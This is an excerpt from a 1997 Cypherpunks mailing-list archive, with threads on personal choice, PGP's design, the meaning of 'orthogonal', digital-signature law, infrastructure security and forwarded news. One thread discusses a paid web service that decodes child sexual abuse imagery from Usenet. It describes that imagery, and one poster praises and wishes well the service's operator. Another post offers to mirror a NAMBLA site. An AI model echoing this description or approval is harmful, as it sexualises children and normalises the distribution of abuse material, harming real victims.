fact by making certain choices available only after a certain point
in life, such as voting, marriage, driving, drinking etc.etc on the
ground, that making such decisions requires a certain level of
insight and maturity.

But there's _still_ no guarantee for making right choices even
after the "magical" age of 18 (or 21). The only thing one can do is
to gather enough information in order to make the best choice based
on available information and conditions _known_ to you _at that
time_.

And here's also the catch. By making a certain choice, one does
usually _not_ choose the consequences of his/her actions
consciously! In fact, the possible consequences may not even be
foreseeable, predictable or expected in any way!

One does not drive a car with the previous conscious knowledge of
crashing it and living in a wheelchair ever after.

One does not climb Mt. Everest with the expectation of perishing in
a snow-storm.

One does not start using PGP based on the prediction, that your
key will be GAK'ed at some point.


Let's take the example of Janice one more time (violins for
Monty:)) : certainly her decision to get married and have 4 kids
was her personal and free choice at that time.
But it was not foreseeable nor expectable for her, that her husband
would take off after a while for another chick, leaving her with
the kids and a bunch of bills to pay!
Thus she married him and later did what every wife would do:
supporting him while he went to school instead of keeping the money
for herself as a backup-cushion in case he leaves.

Is that really so out of the ordinary a choice??


But even if one is able to make fairly good decisions overall in
life: you may not have previous conditions necessary to make certain
choices.

If you're born into a poor family, who just can't afford to send you
to College, how much of a choice to study will you have in that
event? More likely is, that you'll have to work and aid in the
support of the family instead of going to College.

But are you to be held responsible for the conditions that you are
born into or grow up under?

Clearly not. As you go along in life, one's personal ability to
influence your surroundings, conditions and overall life increase
(with right effort). But to expect everybody to be able to make
certain choices in a certain (right) way, or even expecting those
choices being available, is not based on the realities of life but
a mere projection from _your_ reality onto "theirs".

So is the statement of "screw 'em all" (if they weren't able to make
certain choices for reasons we don't know about). Not only does it
lack basic notions of humanity, such as caring for other people, but
also devalues the human ability to learn and change.

Just because you were young and careless (out of lack of
understanding at that time) or you were born in a slum in Rio de
Janeiro (or NYC) shouldn't mean, that you should still get
"screwed" for it when you're fifty or you now deserve the
dis-respect of society and no chances anymore. You may have never
had them...

While technically it is probably correct to say, that current
conditions are caused by previous actions (different people have
different expressions for that: karma, choices, fate etc.), there's
no justification for suffering and certainly none for watching it
passively and saying "they deserve it", IMHO.

But then this is also a valid choice one can freely make. You just
have to live with the consequences of it :)

Ciao

Harka

/*************************************************************/
/* E-mail: harka(at)nycmetro.com (PGP-encrypted mail pref'd) */
/* PGP public key available upon request.  [KeyID: 04174301] */
/* F-print: FD E4 F8 6D C1 6A 44 F5  28 9C 40 6E B8 94 78 E8 */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/

... "Of course I care about other people...I watch CNN!"

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

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=XB87
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Mon, 27 Oct 1997 09:32:12 +0800
To: Eric Cordian <cypherpunks@cyberpass.net
Subject: Re: Click HERE for Boy Sex
In-Reply-To: <199710262243.QAA10648@wire.insync.net>
Message-ID: <v03102801b0798c951c9e@[208.129.55.202]>
MIME-Version: 1.0
Content-Type: text/plain



>Of course, this is an interesting legal question.  Clearly, offering
>raw Usenet content the ISP doesn't originate absolutely shields the ISP
>from responsibility for the material, under current telecommunications
>law.
>
>The unanswered legal question is whether processing the raw news feed
>in some way, such as would be needed to provide web access to decoded
>pictures, also enjoys the same protection.
>
>It would seem that automatic transcoding of Usenet, in a way which is
>not content sensitive, should not be considered the origination of new
>content.  On the other hand, the Feds are hardly going to sit still
>for a URL which, when clicked upon, fills ones browser screen with
>hundreds of thumbnails of blond pre-teen Scandinavian boys in
>mid-orgasm, with a legend which reads - "Click on thumbnail to get
>full-sized picture." And all for only $6 a month.

Despite the sometimes controversial contents of Usenet feeds it is unlikely
that the Feds will move to put the kabosh on Usenet.  Services, like
Etermity, which merely act as reference engines to simplify Usenet access
are also unlikely to be targeted.  Even services which refresh existing
Usenet feeds to provide persistence may be off-limits, especially if the
articles are encrypted, the service does not possess the key and it is the
client browsers which decrypt and handle the cleartext.

The Feds are undoubtedly honing their skills at traffic analysis for
locating posters and email correspondants of interest.  It is the
cypherpunk role to provide the means to keep the Fed nose from coming under
the privacy tent.

--Steve

PGP mail preferred, see  	http://www.pgp.com and
				http://web.mit.edu/network/pgp.html
RSA PGP Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
---------------------------------------------------------------------
Steve Schear (N7ZEZ)     | Internet: azur@netcom.com
7075 West Gowan Road     | Voice: 1-702-658-2654
Suite 2148               | Fax: 1-702-658-2673
Las Vegas, NV 89129      | economic and crypto dissident
---------------------------------------------------------------------

	The push by western governments for financial transparency and
	banning unrestricted use of cryptography is blatent politicial
	tyranny.

	Free Cypherpunk Political Prisoner Jim Bell






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@bywater.songbird.com>
Date: Mon, 27 Oct 1997 08:44:05 +0800
To: Cypherpunks Distributed Remailer <cypherpunks@ssz.com>
Subject: Re: Orthogonal
In-Reply-To: <199710261616.KAA00300@einstein.ssz.com>
Message-ID: <19971026163358.52901@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sun, Oct 26, 1997 at 10:16:03AM -0600, Jim Choate wrote:
> Hi,
> 
> I believe the first definition for orthogonal is not the vector or Cartesian
> definition but rather from geometry.
> 
> Where, for example, polygonal means a closed shape made up from many line
> segments, orthogonal means a closed shape made from line segments at right
> angles to each other. The simplest being the square.
> 
> DeCarte used the concept of ortho- to describe the relationship between the
> axis of his measurement system, hence orthogonal. Strictly speaking
> orthogonal is a misnomer and should be orthometric or 'measurements at right
> angles'.
> 
> I am interested in how orthogonal obtained its variety of other meanings. I
> run across it in linguistics, computer science, philosophy, etc. In most of
> them it means some sort of pure or simple relationship. Unfortunately I
> can't find any sort of description of how it got expanded this way.

Sorry I misread your prior post.

The first context where I am aware of this use of the term orthogonal
is from language design -- it was promoted by Niklaus Wirth and other
purists, with languages like Pascal, Modula, CLU, and so on.  Larry
Wall's "perl" language, with its slogan "there's more than one way to
do it", is a direct revolt against the language purists.

The basic idea is that a computer language should have the minimum
number of constructs necessary to span the intended application.  So
for example, you don't provide hyperbolic trig functions, because the
user can implement them using simpler math functions.  On the other
hand, you do supply commonly used math functions that would otherwise
require iterative algorithms.

I do believe the use of the term this way was inspired by the 
notion of a 'basis' in a vector space -- a set of orthogonal
vectors that span the space, ideally, unit vectors.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Mon, 27 Oct 1997 06:40:52 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Ohio registers Trick-or-Treaters [CNN] [Politics]
Message-ID: <199710262237.QAA01345@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

>               OHIO TOWN REQUIRES TRICK-OR-TREATERS TO BE LICENSED
>                                        
>      Graphic October 26, 1997
>      Web posted at: 4:29 p.m. EST (2129 GMT)
>      
>      BRIDGEPORT, Ohio (CNN) -- The Bridgeport City Council, fearing too
>      many out-of-town children would descend on the community for
>      Halloween, is requiring trick-or-treaters to have a license to ask
>      for candy this year.
>      
>      Kids age 14 and under who register with the city will be given an
>      orange sticker to wear in order to receive goodies. Bridgeport has
>      also moved Halloween celebrations from Friday to Thursday to avoid
>      busy Friday night traffic.
>      
>      While Police Chief William Fraser is going along with the sticker
>      plan, he and his officers won't be out looking for unlicensed
>      goblins. After all, there won't be a penalty for not having a
>      sticker.
>      
>      The Associated Press contributed to this report.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Mon, 27 Oct 1997 07:47:29 +0800
To: Anonymous <nobody@replay.com>
Subject: Re: Secure envelopes
In-Reply-To: <199710261053.LAA14833@basement.replay.com>
Message-ID: <Pine.A41.3.95.971026163922.97448C-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain



On Sun, 26 Oct 1997, Anonymous wrote:


I think Vulis needs each of us to send ten copies of this back to him.

> The only `culture' Timmy May possesses is that 
> cultivated from his foreskin scrapings.
> 
>    \|/
>   (*,*) Timmy May
>  _m_-_m_
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : <real@freenet.edmonton.ab.ca> : <ab756@freenet.toronto.on.ca>
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Cordian <emc@wire.insync.net>
Date: Mon, 27 Oct 1997 06:46:08 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Click HERE for Boy Sex
Message-ID: <199710262243.QAA10648@wire.insync.net>
MIME-Version: 1.0
Content-Type: text/plain



secret@nsa.fbi.cia.org writes:
 
[And to think I almost deleted this without reading it, presuming it
 was SPAM]
 
> InterBBS, and its lawyers, maintain that their decoded neatly indexed
> web-accessible Usenet pictures service enjoys the same immunity for
> its content due to their Common Carrier status as the raw newsfeed
> does, and of course, they wouldn't think of keeping records on which
> customers read which Usenet articles.
 
Didn't the feds raid some company right here in Texas a while back,
called NetPics, for providing decoded Usenet pictures via a Web
interface?  As I recall, NetPics got raided even though they tried to
filter out child porn, and had all of their equipment seized.
 
One hesitates to even think of what the feds will do to someone who is
deliberately offering only decoded boysex newsgroups over the Web, but
it will undoubtedly involve sharpened castration shears and lots of
really bad publicity.
 
> The net effect of all of these things coming together is that there
> now exists convenient pseudoanonymous web access to all boy-related
> child porn pictures posted to Usenet, for a small fee you may bill
> monthly to the credit card of your choice.
 
Providing the Feds haven't already taken it over, killed everyone
associated with it, and decided to run it as a sting.
 
Of course, this is an interesting legal question.  Clearly, offering
raw Usenet content the ISP doesn't originate absolutely shields the ISP
from responsibility for the material, under current telecommunications
law.
 
The unanswered legal question is whether processing the raw news feed
in some way, such as would be needed to provide web access to decoded
pictures, also enjoys the same protection.
 
It would seem that automatic transcoding of Usenet, in a way which is
not content sensitive, should not be considered the origination of new
content.  On the other hand, the Feds are hardly going to sit still
for a URL which, when clicked upon, fills ones browser screen with
hundreds of thumbnails of blond pre-teen Scandinavian boys in
mid-orgasm, with a legend which reads - "Click on thumbnail to get
full-sized picture." And all for only $6 a month.
 
> http://www.ivan.net/bc/messages/38850.htm  (Marlin Answers His Critics)
 
This guy has elephant-sized balls.  I wish him well in his quest to
push the envelope.
 
Certainly a lot more interesting than Prof. Bernstein and that Snuffle
thing. :)
 
> Surely the Feds are not going to take this lying down. :)
 
"If it saves only one child..."

--
Eric Michael Cordian 0+
O:.T:.O:. Mathematical Munitions Division
"Do What Thou Wilt Shall Be The Whole Of The Law"
 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: stewarts@ix.netcom.com
Date: Tue, 28 Oct 1997 07:20:48 +0800
To: cypherpunks@toad.com
Subject: Infastructure Protection and Paranoia
Message-ID: <3.0.3.32.19971026170732.006bf4fc@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 03:41 PM 10/21/1997 +0100, Sandy J. Wong wrote on Cyberia-L
>Buried in Tuesday's Wall Street Journal was a small three-paragraph article
>mentioning that the U.S. may be vulnerable to a cyberspace version of the
>Pearl Harbor attack. A futile suggestion--in my opinion--was made by the
>President's Commission on Critical Infrastructure Protection spend $1
>billion during the next seven years on cyber-security research. that
>suggestion followed a 15-month study of the nation's critical
>infrastructures.

The story, in shorter or longer form, has been in most of the major papers.
The InfoWar crowd has been lobbying and running conferences about this one 
for a couple of years, and it sounds like they're making political progress.
The longer versions of the articles make the connection between
infrastructure risk and the need for encryption to prevent attacks, 
with various FBI spokecritters talking about how we obviously need FBI access 
to all communications to ban InfoTerrorists.

I've got mixed feelings about it; on one hand it seems like a bunch of
Defense Department wonks trying to find a way to keep their jobs now that 
the world isn't threatened by Commies any more, but on another hand,
some of them may have looked at the problem seriously and said
    "<Expletive deleted>!  Disabling the country's critical infrastructure 
    really does look pretty easy!  Fixing it is probably our job."

The new direction for the electric power industry in California
replaces the current monopolies with an Internet-technology-based 
running auction with buyers and sellers trading electricity in
half-hour chunks.  I don't think it's out on the open Internet,
unless one of the hundreds of players gets careless with computer security,
but it's certainly a vulnerability issue.   Denial of service attacks
are much harder to block than privacy cracks - how secure are the protocols?
The regulatory process will probably require revealing most of the information 
anyway; I doubt we'd end up with anonymous buyers and sellers of power :-)
(Actually, anonymity is probably fairly easy; just use corporations
instead of remailers to provide your pseudonyms.  (This message is
brought to you by Californians For A Secure Electrical Infrastructure.))

The recent San Francisco power failure appears to have been sabotage - 
somebody turned off a bunch of switches around 6am taking out 1/4 of the 
city's power for 2-3 hours; the papers don't say if it was just that one substation
(in which case they should have been able to bring it up much faster)
or whether it cascaded to a bunch of the other substations as well.
Is it just another disgruntled employee?  An organized Ecoterrorist Conspiracy?
Or a government provocation to reinforce their report's impact?
In either case I'm sure the government will take political advantage of it.
				Thanks! 		Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639
[I'm currently having hardware problems with my main email; 
send Cc: billstewart@att.com if you need to reach me in a hurry.]





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Mon, 27 Oct 1997 07:56:24 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Republic of Texas seperatist go on trial [CNN]
Message-ID: <199710262352.RAA01555@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

>                   TRIAL SET FOR REPUBLIC OF TEXAS SEPARATISTS
>                                        
>      
>      
>      ALPINE, Texas (Reuters) - Texas separatists who held off police in a
>      seven-day armed standoff in May before surrendering are to go on
>      trial this week on charges of engaging in organized criminal
>      activity.
>      
>      Republic of Texas "ambassador" Richard McLaren and three of his
>      followers could face up to 99 years in prison if found guilty of the
>      first-degree state felony charges.
>      
>      McLaren and his bodyguard Robert "White Eagle" Otto are facing trial
>      together, as are Gregg and Karen Paulson, a married couple who also
>      joined the Republic of Texas group.
>      
>      All four defendants claim that Texas was illegally annexed by the
>      United States in 1845 and that neither state or federal courts have
>      jurisdiction over them.
>      
>      Prosecutors allege McLaren and his followers are common criminals
>      who used the rhetoric of Texas independence as a cover for
>      fraudulent schemes aimed at taking property away from individuals
>      and businesses.
>      
>      McLaren, his wife and several other Republic members also face
>      separate federal fraud and conspiracy charges for allegedly issuing
>      $1.8 billion in bogus financial warrants.
>      
>      Copyright 1997 Reuters Limited. All rights reserved.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: David Sternlight <david@sternlight.com>
Date: Mon, 27 Oct 1997 10:16:08 +0800
To: "William H. Geiger III" <whgiii@invweb.net>
Subject: Re: Orthogonality and Disaster Recovery
In-Reply-To: <199710261832.NAA03035@users.invweb.net>
Message-ID: <3453F663.C886F1DE@sternlight.com>
MIME-Version: 1.0
Content-Type: text/plain



William H. Geiger III wrote:
> 
> -----BEGIN PGP SIGNED MESSAGE-----
> 
> In <34537A18.9FE77210@sternlight.com>, on 10/26/97
>    at 09:13 AM, David Sternlight <david@sternlight.com> said:
> 
> >This seems to be a defense of a major failing of PGP. Rather than being a
> >complete package for a user function (encrypting and signing mail, for
> >example) it is a pre- and post-processor which requires a separate mailer
> >and newsreader. In fact this whole argument may be viewed as an attempt
> >to defend that failing of PGP. The failing is understandable since Phil
> >wanted to get something out there quickly and hadn't (and probably still
> >doesn't have) the resources and talents available to do a complete PGP
> >mailer/newsreader--much less be able to compete successfully with those
> >who DO do such mailers and newsreaders.
> 
> This is quite silly argument David,

Not at all. See below. You give yourself away by starting out this way.

> 
> Do all E-Mail vendors need to be cryptologist?? 

If the client's e-mail is to be secure, yes. But let's be accurate here. Phil
is not, nor has he ever been a cryptologist. He's a programmer who learned a
few things about crypto algorithms and copied existing work. His unique
contribution, if there was a technical one, was in key management. I haven't
studied enough cryptology to know if "web of trust" was copied too.

> Do all cryptologist need
> to be application vendors?? Obviously not.

Now that IS nonsensical because cryptology is a wide and deep art only a small
part of which has to do with mail applications themselves. In contrast, mail
applications to be secure must use encryption. There's some very muddy
thinking going on in your post.

> PGP is a tool much like a
> database is. The majority of vendors who develop apps that require a
> database do not go out and write their own, rather they use a database
> engine that is suited to their needs. 

Except for the occasional password protection, databases don't need encryption
to the extent e-mail does.

>Betreve doesn't try to develop every
> application that may use a database, instead they sell the database engine
> and let the application developers make the apps. The same is true for
> E-Mail vendors, they integrate PGP into their products. No need for PGP
> Inc, to develop their own E-Mail product.

You miss the point here. And you miss the many worked examples. RSA is selling
lots and lots of toolkits for lots and lots of money for in-line integration
into applications, not for pre- and post-processing. The former is the way to
go; the latter a kludge until something better comes along.

> 
> FWIW: I am quite confedent that if Phil wished to write an
> E-Mail/NewsReader he is quite capable of producing a better product than
> the peice of crap N$ has on the market.

You are losing it. First of all I doubt very much that Phil could do this. If
you look at the development time and staffing for good e-mail applications,
this is simply beyond his capabilites and he's never claimed otherwise. Second
of all, it's clear that you've not checked out the current Communicator mail
module if you call it a "piece of crap". You simply don't know what you're
talking about. Same for Internet Explorer, whose mail module has gotten rave
reviews and the best mail program yet and caused reviewers to switch from
Eudora. It, too has integrated crypto.

David





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Mon, 27 Oct 1997 08:48:40 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Orthogonal (fwd)
Message-ID: <199710270042.SAA01737@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Sun, 26 Oct 1997 16:33:58 -0800
> From: Kent Crispin <kent@bywater.songbird.com>
> Subject: Re: Orthogonal

> The first context where I am aware of this use of the term orthogonal
> is from language design -- it was promoted by Niklaus Wirth and other
> purists, with languages like Pascal, Modula, CLU, and so on.  Larry
> Wall's "perl" language, with its slogan "there's more than one way to
> do it", is a direct revolt against the language purists.
> 
> The basic idea is that a computer language should have the minimum
> number of constructs necessary to span the intended application.  So
> for example, you don't provide hyperbolic trig functions, because the
> user can implement them using simpler math functions.  On the other
> hand, you do supply commonly used math functions that would otherwise
> require iterative algorithms.
> 
> I do believe the use of the term this way was inspired by the 
> notion of a 'basis' in a vector space -- a set of orthogonal
> vectors that span the space, ideally, unit vectors.

Can you better define the term 'basis'?

I can see the union 'build complicated things out of basic building blocks'
and the use of Occam's Razor (I'm as lazy as any other programmer) but fail
to see how this maps to anything relating to the concept of orthogonal.
Which clearly doesn't have any inherent minimalist cast.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@bywater.songbird.com>
Date: Mon, 27 Oct 1997 11:22:25 +0800
To: Cypherpunks Distributed Remailer <cypherpunks@ssz.com>
Subject: Re: Orthogonal (fwd)
In-Reply-To: <199710270042.SAA01737@einstein.ssz.com>
Message-ID: <19971026191312.56933@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sun, Oct 26, 1997 at 06:42:14PM -0600, Jim Choate wrote:
> > I do believe the use of the term this way was inspired by the 
> > notion of a 'basis' in a vector space -- a set of orthogonal
> > vectors that span the space, ideally, unit vectors.
> 
> Can you better define the term 'basis'?

This is basic linear algebra:

V a vector space -- the set of all (s1,s2,s3,...,sn), where si is an
element of the set of reals.  A set of vectors {v1,v2,...,vm} in V is
linearly independent if there is no set of scalars {c1,c2,...,cm} with
at least one non-zero element such that sum(ci*vi) == 0.  A set of
vectors S spans a vector space V iff every element of V can be expressed
as a linear combination of the elements of S.   Finally, a basis for 
V is a linearly independent set of vectors in V that spans V.  A 
space is finite dimensioned if it has a finite set for a basis.  The 
standard basis (or natural basis) for a vector space of dimension n 
is th set of vectors

(1,0,0,...0)
(0,1,0,...0)
(0,0,1,...0)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: vcarlos35@juno.com
Date: Tue, 28 Oct 1997 08:45:38 +0800
To: cypherpunks@toad.com
Subject: Theory of the Day!!
Message-ID: <19971026.192833.3646.0.vcarlos35@juno.com>
MIME-Version: 1.0
Content-Type: text/plain



___Theory Of Everything___
Drumroll please...
L. Deitweler is the same person as wombat.sympatico.ca.

Send all flames, comments, replies, whatever... to me.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Mon, 27 Oct 1997 10:38:49 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Orthogonality and Disaster Recovery (fwd)
Message-ID: <199710270228.UAA02091@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Sun, 26 Oct 1997 18:03:16 -0800
> From: David Sternlight <david@sternlight.com>
> Subject: Re: Orthogonality and Disaster Recovery

> > Do all E-Mail vendors need to be cryptologist?? 
> 
> If the client's e-mail is to be secure, yes. But let's be accurate here.

I absolute agree we need to be accurate. To that end, it is not the
applications that need security but rather the network and session layers.

> > Do all cryptologist need
> > to be application vendors?? Obviously not.
> 
> Now that IS nonsensical because cryptology is a wide and deep art only a small
> part of which has to do with mail applications themselves. In contrast, mail
> applications to be secure must use encryption. There's some very muddy
> thinking going on in your post.

He said 'application vendors', not just mail. Pay attention to the details
of the argument and quit trying to change the subject without specificaly
noteing the change, otherwise known as a strawman. His muddy thinking
doesn't stand alone.

> > PGP is a tool much like a
> > database is. The majority of vendors who develop apps that require a
> > database do not go out and write their own, rather they use a database
> > engine that is suited to their needs. 
> 
> Except for the occasional password protection, databases don't need encryption
> to the extent e-mail does.

I work everyday with the NSA, CIA, Dod, Army, SAIC, all the phone companies,
many of the major banks, Intel, Human Genome Project, etc. Every one of these
folks would disagree with you. In fact it was one of the motivating factors
behind Tivoli comming out with their new Security Management application
because vendors required us to move away from our custom databases and
toward industry standards (Oracle, Sybase, Informix, DB2, DBMX, etc.) *AND*
at the same time requiring a better security mechanism than the existing one
we use (DES & Kerberos based).

The reality of the market does not support your thesis.

> You miss the point here. And you miss the many worked examples. RSA is selling
> lots and lots of toolkits for lots and lots of money for in-line integration
> into applications, not for pre- and post-processing. The former is the way to
> go; the latter a kludge until something better comes along.

Are they involved with the new Cryptographic Standard projects of the
government and Tivoli - IBM? I don't think so, at least I still haven't seen
them involved in any of the work I have had access to so far; much to my own
personal disappointment.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: stewarts@ix.netcom.com
Date: Tue, 28 Oct 1997 02:12:41 +0800
To: Vincent Cate <cypherpunks@cyberpass.net
Subject: Re: Laws recognizing digital signatures
In-Reply-To: <Pine.LNX.3.95.971023091411.31102B-100000@online.offshore.com.ai>
Message-ID: <3.0.3.32.19971026204052.006b547c@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 09:24 AM 10/23/1997 -0400, Vincent Cate wrote:
>I have talked to people in government and the offshore private sector here
>and think Anguilla has a very good chance of passing a law making digital
>signatures legally recognized, at least for corporations.  I think we
>would be the first taxhaven to do so.  Currently companies use corporate
>seals. [....]
>I mentioned that there were a few other jurisdictions that had passed some
>laws like this and they would like me to try to pin down which and, if
>possible, get copies of the laws. 

Cem Kaner <kaner@kaner.com> gave a good presentation on the legal climate 
surrounding digital signatures at is month's Cypherpunks meeting.  
There's a lot of bad legislation being proposed in various UN and US 
working groups, where "bad" includes "inflexible" and 
"favoring specific models of what a signature means" and 
"favoring the certificate authority rather than the merchant or customer
in a transaction using certified signatures" and
"limiting who can be a CA, possibly including licensing".
He's got information available at www.kaner.com and www.badsoftware.com.
You might also want to talk to Carl Ellison about his views on signatures.

The basic problem is 
- Person Alice may have a key
- Merchant Bob has an online store
- Customer X presents Bob with a key K, certified by CA Charlie,
	claiming that she's Alice, K is Alice's key,
	and downloads the merchandise from Bob.
- Alice says it wasn't her and refuses to pay Bob the bill.

So who gets stuck with the bill?  Alice?  Bob?  Charlie?
In most commercial transactions, there's a legal tradition that defines
the liability when a signature is misused or a transaction fails badly.  
With forged checks or counterfeit Federal Reserve notes, the merchant loses.
With checks written against insufficient funds, Alice is liable,
though if she doesn't have any money to collect, the merchant still loses.
With credit cards in the US, the credit card company is liable to the merchant,
whether the credit card was stolen or Alice doesn't pay; in case of theft
Alice is liable to the credit card company for $50, but it's not Bob's problem.
This is a benefit to the merchant, since he can almost always accept a payment
and make a sale, and it's a benefit to the consumer, because the merchant
will accept her payment so she can get her stuff, and it's a big pain to the
credit card companies, who lose a lot of money to fraud every year, though
of course their fee to the merchant includes that cost, as does the merchant's
price to the consumer which is higher to cover the credit card fees.

In most of the new digital signature legislation, it's being pushed by the
Certificate Authority companies, who want to make sure they're not liable,
and who generally want to stick the consumer Alice with the bill,
since it's her fault if she let her public key get misused.
Not only is consumer getting the short end of the stick on these laws,
which is Cem's interest in this topic, but so is the merchant,
because if Alice is liable, he's got to collect from her if he can;
Cem is surprised that the Sears Roebuck and similar large merchant types
haven't been actively participating in these meetings.

>From a Cypherpunks and PGP perspective, there are a bunch of problems here.
One is "what does a signature mean, and how do we represent it",
which sidetracked much of the discussion during Cem's talk.
Another is that there's a preference toward a hierarchical model of CAs,
rather than the everybody's-a-CA web-of-trust model used by PGP;
in particular, regulations on digital signatures often require CAs
to meet some set of licensing requirements, which would mean you couldn't
sign anybody's key without a license, or at least without acquiring some
liability for how they used it.  (Then of course, once CAs are licensed and
findable, they're a regulatory target - even if you can't force them to
escrow their users' keys, you can at least use them for traffic analysis,
especially if you're using certificate revocation lists.)

An entertaining problem Cem also brought up is that if he doesn't
get his keys signed by anyone, they're just keys, and mean whatever
he agrees contractually with his clients that they mean.
On the other hand, if he gets his keys signed by someone,
there's some definition of liability that may obtain from that action,
not only based on the contracts he makes with the CA, but potentially
on any regulations on CAs and digital signatures that get adopted.
				Thanks! 		Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639
[I'm currently having hardware problems with my main email; 
send Cc: billstewart@att.com if you need to reach me in a hurry.]





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: SHOP@netsteward.cm
Date: Mon, 27 Oct 1997 11:58:23 +0800
To: dale54321@aol.com
Subject: Webdeals! Less than wolesale
Message-ID: <1334218758-2910385@mail.clarityconnect.com>
MIME-Version: 1.0
Content-Type: text/plain



 Deal of the day.
 A chance to save money........a penny saved
 is a penny earned:--Ben Franklin__1706-1790.
 Various products below wholesale featured daily,
 straight UPS shipping YOU calculate, NO HANDLING charges.
 Something for everyone at:
  http://netsteward.com/webdeals.htm
 Thank you for your time, please have a pleasant day.
 
  One time email.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Peter Herngaard <pethern@inet.uni2.dk>
Date: Mon, 27 Oct 1997 06:27:33 +0800
To: Paul Spirito <berezina@qed.net>
Subject: Re: NAMBLA embattled -- mirror sites?
In-Reply-To: <19971026200752100.AAA149@Berezina>
Message-ID: <Pine.3.89.9710262354.A12315-0100000@inet.uni2.dk>
MIME-Version: 1.0
Content-Type: text/plain



Yes. Sign me up too Declan if necessary.
I can set up a mirror in Denmark of the site.
I can seperate it from my own account at Datashmprer Denmark and put another
user name in the fingerable account.
In Denmark we even tolerate a Paedophilia Society (Paedofilforeningen).
Advocating the right to freedom of speech for paedophilia in Denmark may 
be unpopular but not
destroying for ono's employment opportunities.
 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Mon, 27 Oct 1997 13:41:21 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Orthogonal (fwd)
